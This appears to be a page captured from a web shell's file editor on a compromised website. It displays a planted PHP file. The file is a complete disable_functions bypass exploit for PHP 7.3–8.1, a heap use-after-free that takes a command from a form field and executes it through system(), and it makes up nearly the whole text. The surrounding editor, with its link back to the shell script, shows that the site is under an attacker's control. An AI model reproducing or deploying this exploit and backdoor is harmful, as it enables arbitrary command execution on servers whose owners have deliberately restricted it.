<h2>Edit File - id.phP</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/notiphysis/domains/notiphysis.com.ar/public_html/adj/noticias/id.phP">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;head&gt;
&lt;title&gt;Bypass - PHP 7.3-8&lt;/title&gt;
&lt;body style=&quot;background-color:#4d4d4d;&quot;&gt;
&lt;/body&gt;
&lt;center&gt;
&lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
  &lt;br&gt;&lt;br&gt;&lt;h1&gt;Bypass disable_functions bypass 7.3 - 8 - Or4ngM4n&lt;/h1&gt;
  &lt;input type=&quot;text&quot; id=&quot;or4ng&quot; name=&quot;or4ng&quot;&gt;
  &lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;/head&gt;
&lt;?php
# Exploit Find By (Yuki Koike) 
# Coded By (MM0r1)
# Edited By Or4nG.M4n
# +--------------------------------------------------------------------------+
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
# 
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1


echo &quot;&lt;center&gt;&lt;textarea id=&#039;command&#039; name=&#039;command&#039; rows=&#039;12&#039; cols=&#039;100&#039;&gt;&quot;;
new Pwn($_POST[&#039;or4ng&#039;]);
echo &quot;&lt;/textarea&gt;&lt;/center&gt;&quot;;

class Helper { public $a, $b, $c; }
class Pwn {
    const LOGGING = false;
    const CHUNK_DATA_SIZE = 0x60;
    const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
    const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;

    const HT_SIZE = 0x118;
    const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;

    public function __construct($cmd) {
        for($i = 0; $i &lt; 10; $i++) {
            $groom[] = self::alloc(self::STRING_SIZE);
            $groom[] = self::alloc(self::HT_STRING_SIZE);
        }
        
        $concat_str_addr = self::str2ptr($this-&gt;heap_leak(), 16);
        $fill = self::alloc(self::STRING_SIZE);

        $this-&gt;abc = self::alloc(self::STRING_SIZE);
        $abc_addr = $concat_str_addr + self::CHUNK_SIZE;
        self::log(&quot;abc @ 0x%x&quot;, $abc_addr);

        $this-&gt;free($abc_addr);
        $this-&gt;helper = new Helper;
        if(strlen($this-&gt;abc) &lt; 0x1337) {
            self::log(&quot;uaf failed&quot;);
            return;
        }

        $this-&gt;helper-&gt;a = &quot;leet&quot;;
        $this-&gt;helper-&gt;b = function($x) {};
        $this-&gt;helper-&gt;c = 0xfeedface;

        $helper_handlers = $this-&gt;rel_read(0);
        self::log(&quot;helper handlers @ 0x%x&quot;, $helper_handlers);

        $closure_addr = $this-&gt;rel_read(0x20);
        self::log(&quot;real closure @ 0x%x&quot;, $closure_addr);

        $closure_ce = $this-&gt;read($closure_addr + 0x10);
        self::log(&quot;closure class_entry @ 0x%x&quot;, $closure_ce);
        
        $basic_funcs = $this-&gt;get_basic_funcs($closure_ce);
        self::log(&quot;basic_functions @ 0x%x&quot;, $basic_funcs);

        $zif_system = $this-&gt;get_system($basic_funcs);
        self::log(&quot;zif_system @ 0x%x&quot;, $zif_system);

        $fake_closure_off = 0x70;
        for($i = 0; $i &lt; 0x138; $i += 8) {
            $this-&gt;rel_write($fake_closure_off + $i, $this-&gt;read($closure_addr + $i));
        }
        $this-&gt;rel_write($fake_closure_off + 0x38, 1, 4);
        $handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
        $this-&gt;rel_write($fake_closure_off + $handler_offset, $zif_system);

        $fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
        self::log(&quot;fake closure @ 0x%x&quot;, $fake_closure_addr);

        $this-&gt;rel_write(0x20, $fake_closure_addr);
        ($this-&gt;helper-&gt;b)($cmd);

        $this-&gt;rel_write(0x20, $closure_addr);
        unset($this-&gt;helper-&gt;b);
    }

    private function heap_leak() {
        $arr = [[], []];
        set_error_handler(function() use (&amp;$arr, &amp;$buf) {
            $arr = 1;
            $buf = str_repeat(&quot;\x00&quot;, self::HT_STRING_SIZE);
        });
        $arr[1] .= self::alloc(self::STRING_SIZE - strlen(&quot;Array&quot;));
        return $buf;
    }

    private function free($addr) {
        $payload = pack(&quot;Q*&quot;, 0xdeadbeef, 0xcafebabe, $addr);
        $payload .= str_repeat(&quot;A&quot;, self::HT_STRING_SIZE - strlen($payload));
        
        $arr = [[], []];
        set_error_handler(function() use (&amp;$arr, &amp;$buf, &amp;$payload) {
            $arr = 1;
            $buf = str_repeat($payload, 1);
        });
        $arr[1] .= &quot;x&quot;;
    }

    private function rel_read($offset) {
        return self::str2ptr($this-&gt;abc, $offset);
    }

    private function rel_write($offset, $value, $n = 8) {
        for ($i = 0; $i &lt; $n; $i++) {
            $this-&gt;abc[$offset + $i] = chr($value &amp; 0xff);
            $value &gt;&gt;= 8;
        }
    }

    private function read($addr, $n = 8) {
        $this-&gt;rel_write(0x10, $addr - 0x10);
        $value = strlen($this-&gt;helper-&gt;a);
        if($n !== 8) { $value &amp;= (1 &lt;&lt; ($n &lt;&lt; 3)) - 1; }
        return $value;
    }

    private function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this-&gt;read($addr);
            $f_name = $this-&gt;read($f_entry, 6);
            if($f_name === 0x6d6574737973) {
                return $this-&gt;read($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry !== 0);
    }

    private function get_basic_funcs($addr) {
        while(true) {
            // In rare instances the standard module might lie after the addr we&#039;re starting
            // the search from. This will result in a SIGSGV when the search reaches an unmapped page.
            // In that case, changing the direction of the search should fix the crash.
            // $addr += 0x10;
            $addr -= 0x10;
            if($this-&gt;read($addr, 4) === 0xA8 &amp;&amp;
                in_array($this-&gt;read($addr + 4, 4),
                    [20180731, 20190902, 20200930, 20210902])) {
                $module_name_addr = $this-&gt;read($addr + 0x20);
                $module_name = $this-&gt;read($module_name_addr);
                if($module_name === 0x647261646e617473) {
                    self::log(&quot;standard module @ 0x%x&quot;, $addr);
                    return $this-&gt;read($addr + 0x28);
                }
            }
        }
    }

    private function log($format, $val = &quot;&quot;) {
        if(self::LOGGING) {
            printf(&quot;{$format}\n&quot;, $val);
        }
    }

    static function alloc($size) {
        return str_shuffle(str_repeat(&quot;A&quot;, $size));
    }

    static function str2ptr($str, $p = 0, $n = 8) {
        $address = 0;
        for($j = $n - 1; $j &gt;= 0; $j--) {
            $address &lt;&lt;= 8;
            $address |= ord($str[$p + $j]);
        }
        return $address;
    }
}

?&gt;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/adj/noticias/1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>